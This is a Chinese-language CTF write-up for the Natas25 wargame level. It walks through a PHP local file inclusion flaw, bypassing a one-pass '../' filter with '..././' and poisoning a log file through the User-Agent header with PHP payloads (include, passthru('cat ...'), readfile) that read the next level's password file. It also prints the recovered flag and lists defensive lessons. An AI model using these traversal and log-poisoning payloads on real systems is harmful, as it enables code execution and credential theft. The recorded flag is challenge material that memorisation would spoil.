zoukankan      html  css  js  c++  java
  • Natas25 Writeup(目录遍历、头部注入)

    Natas25:

    打开页面,是一段引文以及可以选择语言的下拉list。查看源码,发现关键代码:

    function setLanguage(){          //选择语言
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))  //如果请求提交的参数中存在lang
            if(safeinclude("language/" . $_REQUEST["lang"] )) //检查输入
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){  //检查输入参数
        // check for directory traversal    检查目录遍历
    	//strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
    	//str_replace($search,$replace,$subject):将$subject中的$search 都被$replace替换
    	//下面代码的意思是,如果filename中含有"../",表明受到了目录遍历攻击,则将filename中的"../"替换为"",以防止目录遍历
        if(strstr($filename,"../")){  
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
    	
        // dont let ppl steal our passwords   文件访问控制
    	//下面代码的意思是,如果filename中含有"natas_webpass",表明用户试图访问非法文件,则退出程序
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...
    
        if (file_exists($filename)) {  //检测目录是否存在
            include($filename);
            return 1;
        }
        return 0;
    }
      
    function logRequest($message){                 		//请求日志
        $log="[". date("d.m.Y H::i:s",time()) ."]";		//时间日期
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];	//加http_user_agent
        $log=$log . " "" . $message .""
    "; 			//加上message
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);								//将日志信息写入文件
        fclose($fd);
    }
    

    首先要将注入点分析清楚:一共有三个注入点

    1.$_REQUEST["lang"]              即get/post注入
    2.$_SERVER['HTTP_USER_AGENT']    http头部信息注入
    3.session_id()                   cookie注入

    23条注入存在于logRequest函数中,能够发生的前提是safeinclude函数检测到了非法输入,而且必须是“../”这种非法输入,若是“natas_webpass”这种的话会直接exit(-1)。

    这里第一条过滤非法输入语句(将"../"替换为"",以防止目录遍历)存在漏洞,因为if是一次性把所有符合的替换掉,构造复合的参数即可绕过,例如:....//或者..././。这里可以绕过的根本原因就在于没有使用while语句,没有想到过滤一次后依然存在../,所以过滤应该持续检测直到非法字符不再出现。

    第1条直接注入比较困难,原因在于即使用..././绕过了第一条检测,第二条检测也很难直接将"natas_webpass"目录下的密码给include进来,所以应该思考利用第2或3条注入,2或3两个注入必须触发“../”检测,随后logRequest($message)将信息写入/var/www/natas/natas25/logs/natas25_session_id().log。

    很容易得到新思路,将能够显示密码的php语句写入到session_id().log之中,随后在safeinclude中将其include进来,可以考虑$_SERVER['HTTP_USER_AGENT'] 注入,在header中写入php语句(以下任选一句):

    <?php include("/etc/natas_webpass/natas26")?> 
    <?php echo file_get_contents("/etc/natas_webpass/natas26")?> 
    <?php passthru("cat /etc/natas_webpass/natas26")?>
    <?php readfile("/etc/natas_webpass/natas26")?>
    

    这样做以后,只要触发第一条过滤机制,密码就会在.log被include进来时显示,考虑如何既触发../又能够将.log包含进来:GET: lang=..././..././..././..././..././var/www/natas/natas25/logs/natas25_session_id().log即可

    流程:GET输入触发第一次过滤,开始记录日志,headers中http-agent的php执行语句被记录到/var/www/natas/natas25/logs/natas25_session_id().log。同时输入被过滤为../../../../../var/www/natas/natas25/logs/natas25_session_id().log。file_exists()检测正确,将其include进来,触发php语句,显示flag。

    有两个地方需要注入,即get/post 和 headers。

    flag:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

    总结:

    1.过滤机制一定要达到在任何情况下确定不包含非法字符(考虑周全)。
    2.对用户的输入(不一定是真的“输入”,只要是用户传过来的信息)都要做防注入或过滤处理。
    3.做题的思路很重要,一是要注意过滤机制是否不够严格,而是碰壁后应该全局思考所有的注入点,只要是自己能篡改的信息都要思考能否注入,而且可能是多个注入点联合使用。

    参考:

    https://www.cnblogs.com/ichunqiu/p/9554885.html
    https://www.cnblogs.com/liqiuhao/p/6883356.html

  • 相关阅读:
    Python 安装Twisted 提示python version 2.7 required,which was not found in the registry
    Openfire Strophe开发中文乱码问题
    css div 垂直居中
    How to create custom methods for use in spring security expression language annotations
    How to check “hasRole” in Java Code with Spring Security?
    Android 显示/隐藏 应用图标
    Android 当媒体变更后,通知其他应用重新扫描
    文件上传那些事儿
    专题:点滴Javascript
    主流动画实现方式总结
  • 原文地址:https://www.cnblogs.com/zhengna/p/12342354.html
Copyright © 2011-2022 走看看